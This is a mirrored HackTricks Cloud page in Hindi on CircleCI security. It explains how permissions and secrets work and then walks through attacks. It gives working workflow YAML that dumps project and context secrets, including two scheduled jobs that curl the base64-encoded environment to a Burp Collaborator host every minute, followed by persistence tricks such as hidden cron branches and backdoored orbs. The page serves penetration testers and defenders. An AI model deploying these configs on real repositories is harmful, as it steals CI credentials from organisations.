mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-01 15:35:51 -08:00
236 lines
15 KiB
Markdown
236 lines
15 KiB
Markdown
# CircleCI सुरक्षा
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
### बुनियादी जानकारी
|
|
|
|
[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) एक निरंतर एकीकरण प्लेटफार्म है जहाँ आप **टेम्पलेट्स** परिभाषित कर सकते हैं जो यह बताती हैं कि आप इसे कुछ कोड के साथ क्या करना चाहते हैं और कब करना चाहते हैं। इस तरह आप **परीक्षण** या **डिप्लॉयमेंट** को सीधे **अपने रेपो मास्टर ब्रांच** से स्वचालित कर सकते हैं, उदाहरण के लिए।
|
|
|
|
### अनुमतियाँ
|
|
|
|
**CircleCI** **अनुमतियाँ विरासत में लेता है** जो github और bitbucket से संबंधित हैं उस **खाते** से जो लॉग इन करता है।\
|
|
मेरी परीक्षण में मैंने यह जांचा कि जब तक आपके पास **github में रेपो पर लिखने की अनुमतियाँ हैं**, आप **CircleCI में इसके प्रोजेक्ट सेटिंग्स को प्रबंधित करने में सक्षम होंगे** (नए ssh कुंजी सेट करें, प्रोजेक्ट api कुंजी प्राप्त करें, नए CircleCI कॉन्फ़िग्स के साथ नए ब्रांच बनाएं...)।
|
|
|
|
हालांकि, आपको **CircleCI प्रोजेक्ट में रेपो को परिवर्तित करने** के लिए **रेपो प्रशासक** होना आवश्यक है।
|
|
|
|
### पर्यावरण चर और रहस्य
|
|
|
|
[**दस्तावेज़ों के अनुसार**](https://circleci.com/docs/2.0/env-vars/) कार्यप्रवाह के भीतर **पर्यावरण चर में मान लोड करने** के विभिन्न तरीके हैं।
|
|
|
|
#### अंतर्निहित पर्यावरण चर
|
|
|
|
CircleCI द्वारा चलाए गए प्रत्येक कंटेनर में हमेशा [**दस्तावेज़ में परिभाषित विशिष्ट env vars**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) होंगे जैसे `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` या `CIRCLE_USERNAME`।
|
|
|
|
#### स्पष्ट पाठ
|
|
|
|
आप उन्हें **कमांड** के भीतर स्पष्ट पाठ में घोषित कर सकते हैं:
|
|
```yaml
|
|
- run:
|
|
name: "set and echo"
|
|
command: |
|
|
SECRET="A secret"
|
|
echo $SECRET
|
|
```
|
|
आप उन्हें **run environment** के अंदर स्पष्ट पाठ में घोषित कर सकते हैं:
|
|
```yaml
|
|
- run:
|
|
name: "set and echo"
|
|
command: echo $SECRET
|
|
environment:
|
|
SECRET: A secret
|
|
```
|
|
आप उन्हें **build-job environment** के अंदर स्पष्ट पाठ में घोषित कर सकते हैं:
|
|
```yaml
|
|
jobs:
|
|
build-job:
|
|
docker:
|
|
- image: cimg/base:2020.01
|
|
environment:
|
|
SECRET: A secret
|
|
```
|
|
आप उन्हें **कंटेनर के वातावरण** के अंदर स्पष्ट पाठ में घोषित कर सकते हैं:
|
|
```yaml
|
|
jobs:
|
|
build-job:
|
|
docker:
|
|
- image: cimg/base:2020.01
|
|
environment:
|
|
SECRET: A secret
|
|
```
|
|
#### प्रोजेक्ट रहस्य
|
|
|
|
ये **रहस्य** हैं जो केवल **प्रोजेक्ट** (किसी भी **शाखा** द्वारा) द्वारा **पहुँच योग्य** होंगे।\
|
|
आप इन्हें _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_ में **घोषित** होते हुए देख सकते हैं।
|
|
|
|
.png>)
|
|
|
|
> [!CAUTION]
|
|
> "**इंपोर्ट वेरिएबल्स**" कार्यक्षमता **अन्य प्रोजेक्ट्स से वेरिएबल्स को इस प्रोजेक्ट में इंपोर्ट** करने की अनुमति देती है।
|
|
|
|
#### संदर्भ रहस्य
|
|
|
|
ये रहस्य **संगठन स्तर** पर हैं। **डिफ़ॉल्ट रूप से कोई भी रेपो** यहाँ संग्रहीत **किसी भी रहस्य** को **पहुँच** सकेगा:
|
|
|
|
.png>)
|
|
|
|
> [!TIP]
|
|
> हालाँकि, ध्यान दें कि एक अलग समूह (सभी सदस्यों के बजाय) को **विशिष्ट लोगों को रहस्यों तक पहुँच देने के लिए चुना जा सकता है**।\
|
|
> यह वर्तमान में रहस्यों की **सुरक्षा बढ़ाने** के लिए सबसे अच्छे तरीकों में से एक है, ताकि सभी को उन्हें पहुँचने की अनुमति न हो बल्कि केवल कुछ लोगों को।
|
|
|
|
### हमले
|
|
|
|
#### स्पष्ट पाठ रहस्यों की खोज
|
|
|
|
यदि आपके पास **VCS** (जैसे github) तक **पहुँच** है, तो **प्रत्येक शाखा पर प्रत्येक रेपो** की `.circleci/config.yml` फ़ाइल की जाँच करें और वहाँ संग्रहीत संभावित **स्पष्ट पाठ रहस्यों** के लिए **खोजें**।
|
|
|
|
#### रहस्य पर्यावरण वेरिएबल्स और संदर्भ गणना
|
|
|
|
कोड की जाँच करते समय आप **सभी रहस्य नाम** पा सकते हैं जो प्रत्येक `.circleci/config.yml` फ़ाइल में **उपयोग** किए जा रहे हैं। आप उन फ़ाइलों से **संदर्भ नाम** भी प्राप्त कर सकते हैं या उन्हें वेब कंसोल में देख सकते हैं: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_।
|
|
|
|
#### प्रोजेक्ट रहस्यों को निकालना
|
|
|
|
> [!WARNING]
|
|
> **सभी** प्रोजेक्ट और संदर्भ **रहस्यों** को **निकालने** के लिए आपको **सिर्फ 1 रेपो** में **लिखने** की अनुमति होनी चाहिए (_और आपके खाते को संदर्भों तक पहुँच होनी चाहिए लेकिन डिफ़ॉल्ट रूप से सभी को हर संदर्भ तक पहुँच मिलती है_)।
|
|
|
|
> [!CAUTION]
|
|
> "**इंपोर्ट वेरिएबल्स**" कार्यक्षमता **अन्य प्रोजेक्ट्स से वेरिएबल्स को इस प्रोजेक्ट में इंपोर्ट** करने की अनुमति देती है। इसलिए, एक हमलावर **सभी रेपो से सभी प्रोजेक्ट वेरिएबल्स को इंपोर्ट** कर सकता है और फिर **सभी को एक साथ निकाल सकता है**।
|
|
|
|
सभी प्रोजेक्ट रहस्य हमेशा नौकरियों के वातावरण में सेट होते हैं, इसलिए बस env को कॉल करना और इसे base64 में छिपाना रहस्यों को **कार्यप्रवाह वेब लॉग कंसोल** में निकाल देगा:
|
|
```yaml
|
|
version: 2.1
|
|
|
|
jobs:
|
|
exfil-env:
|
|
docker:
|
|
- image: cimg/base:stable
|
|
steps:
|
|
- checkout
|
|
- run:
|
|
name: "Exfil env"
|
|
command: "env | base64"
|
|
|
|
workflows:
|
|
exfil-env-workflow:
|
|
jobs:
|
|
- exfil-env
|
|
```
|
|
यदि आपके पास **वेब कंसोल तक पहुंच नहीं है** लेकिन आपके पास **रेपो तक पहुंच है** और आप जानते हैं कि CircleCI का उपयोग किया जा रहा है, तो आप बस **एक वर्कफ़्लो बना सकते हैं** जो **हर मिनट ट्रिगर होता है** और जो **गुप्त जानकारी को एक बाहरी पते पर भेजता है**:
|
|
```yaml
|
|
version: 2.1
|
|
|
|
jobs:
|
|
exfil-env:
|
|
docker:
|
|
- image: cimg/base:stable
|
|
steps:
|
|
- checkout
|
|
- run:
|
|
name: "Exfil env"
|
|
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
|
|
|
|
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
|
|
workflows:
|
|
exfil-env-workflow:
|
|
triggers:
|
|
- schedule:
|
|
cron: "* * * * *"
|
|
filters:
|
|
branches:
|
|
only:
|
|
- circleci-project-setup
|
|
jobs:
|
|
- exfil-env
|
|
```
|
|
#### Exfiltrate Context Secrets
|
|
|
|
आपको **संदर्भ नाम निर्दिष्ट करना होगा** (यह परियोजना के रहस्यों को भी बाहर निकालेगा):
|
|
```yaml
|
|
version: 2.1
|
|
|
|
jobs:
|
|
exfil-env:
|
|
docker:
|
|
- image: cimg/base:stable
|
|
steps:
|
|
- checkout
|
|
- run:
|
|
name: "Exfil env"
|
|
command: "env | base64"
|
|
|
|
workflows:
|
|
exfil-env-workflow:
|
|
jobs:
|
|
- exfil-env:
|
|
context: Test-Context
|
|
```
|
|
यदि आपके पास **वेब कंसोल तक पहुंच नहीं है** लेकिन आपके पास **रेपो तक पहुंच है** और आप जानते हैं कि CircleCI का उपयोग किया जा रहा है, तो आप बस **एक वर्कफ़्लो को संशोधित कर सकते हैं** जो **हर मिनट ट्रिगर होता है** और जो **गुप्त जानकारी को एक बाहरी पते पर भेजता है**:
|
|
```yaml
|
|
version: 2.1
|
|
|
|
jobs:
|
|
exfil-env:
|
|
docker:
|
|
- image: cimg/base:stable
|
|
steps:
|
|
- checkout
|
|
- run:
|
|
name: "Exfil env"
|
|
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
|
|
|
|
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
|
|
workflows:
|
|
exfil-env-workflow:
|
|
triggers:
|
|
- schedule:
|
|
cron: "* * * * *"
|
|
filters:
|
|
branches:
|
|
only:
|
|
- circleci-project-setup
|
|
jobs:
|
|
- exfil-env:
|
|
context: Test-Context
|
|
```
|
|
> [!WARNING]
|
|
> एक नया `.circleci/config.yml` बनाना **circleci बिल्ड को ट्रिगर करने के लिए पर्याप्त नहीं है**। आपको **इसे circleci कंसोल में एक प्रोजेक्ट के रूप में सक्षम करना होगा**।
|
|
|
|
#### क्लाउड में एस्केप
|
|
|
|
**CircleCI** आपको **अपने बिल्ड को उनकी मशीनों या अपनी मशीनों में चलाने का विकल्प देता है**।\
|
|
डिफ़ॉल्ट रूप से, उनकी मशीनें GCP में स्थित हैं, और आप प्रारंभ में कुछ प्रासंगिक नहीं पा सकेंगे। हालाँकि, यदि एक पीड़ित **अपनी मशीनों (संभवतः, एक क्लाउड वातावरण में)** में कार्य चला रहा है, तो आप **दिलचस्प जानकारी के साथ एक क्लाउड मेटाडेटा एंडपॉइंट** पा सकते हैं।
|
|
|
|
ध्यान दें कि पिछले उदाहरणों में सब कुछ एक डॉकर कंटेनर के अंदर लॉन्च किया गया था, लेकिन आप **एक VM मशीन लॉन्च करने के लिए भी कह सकते हैं** (जिसके पास विभिन्न क्लाउड अनुमतियाँ हो सकती हैं):
|
|
```yaml
|
|
jobs:
|
|
exfil-env:
|
|
#docker:
|
|
# - image: cimg/base:stable
|
|
machine:
|
|
image: ubuntu-2004:current
|
|
```
|
|
या तो एक डॉकर कंटेनर जो एक दूरस्थ डॉकर सेवा तक पहुंच रखता है:
|
|
```yaml
|
|
jobs:
|
|
exfil-env:
|
|
docker:
|
|
- image: cimg/base:stable
|
|
steps:
|
|
- checkout
|
|
- setup_remote_docker:
|
|
version: 19.03.13
|
|
```
|
|
#### Persistence
|
|
|
|
- CircleCI में API endpoints तक उपयोगकर्ता की पहुंच के साथ **उपयोगकर्ता टोकन** **बनाना** संभव है।
|
|
- _https://app.circleci.com/settings/user/tokens_
|
|
- **प्रोजेक्ट टोकन** बनाना संभव है ताकि टोकन को दिए गए अनुमतियों के साथ प्रोजेक्ट तक पहुंचा जा सके।
|
|
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
|
|
- प्रोजेक्ट में **SSH कुंजी** जोड़ना संभव है।
|
|
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
|
|
- एक अप्रत्याशित प्रोजेक्ट में **छिपी शाखा** में **क्रॉन जॉब** **बनाना** संभव है जो हर दिन सभी **संदर्भ env** vars **लीक** कर रहा है।
|
|
- या यहां तक कि एक शाखा में बनाना / एक ज्ञात जॉब को संशोधित करना जो हर दिन सभी संदर्भ और **प्रोजेक्ट्स सीक्रेट्स** **लीक** करेगा।
|
|
- यदि आप एक गिटहब मालिक हैं तो आप **असत्यापित ऑर्ब्स** की अनुमति दे सकते हैं और एक जॉब में इसे **बैकडोर** के रूप में कॉन्फ़िगर कर सकते हैं।
|
|
- आप कुछ कार्यों में **कमांड इंजेक्शन भेद्यता** पा सकते हैं और इसके मान को संशोधित करके **कमांड** **इंजेक्ट** कर सकते हैं।
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|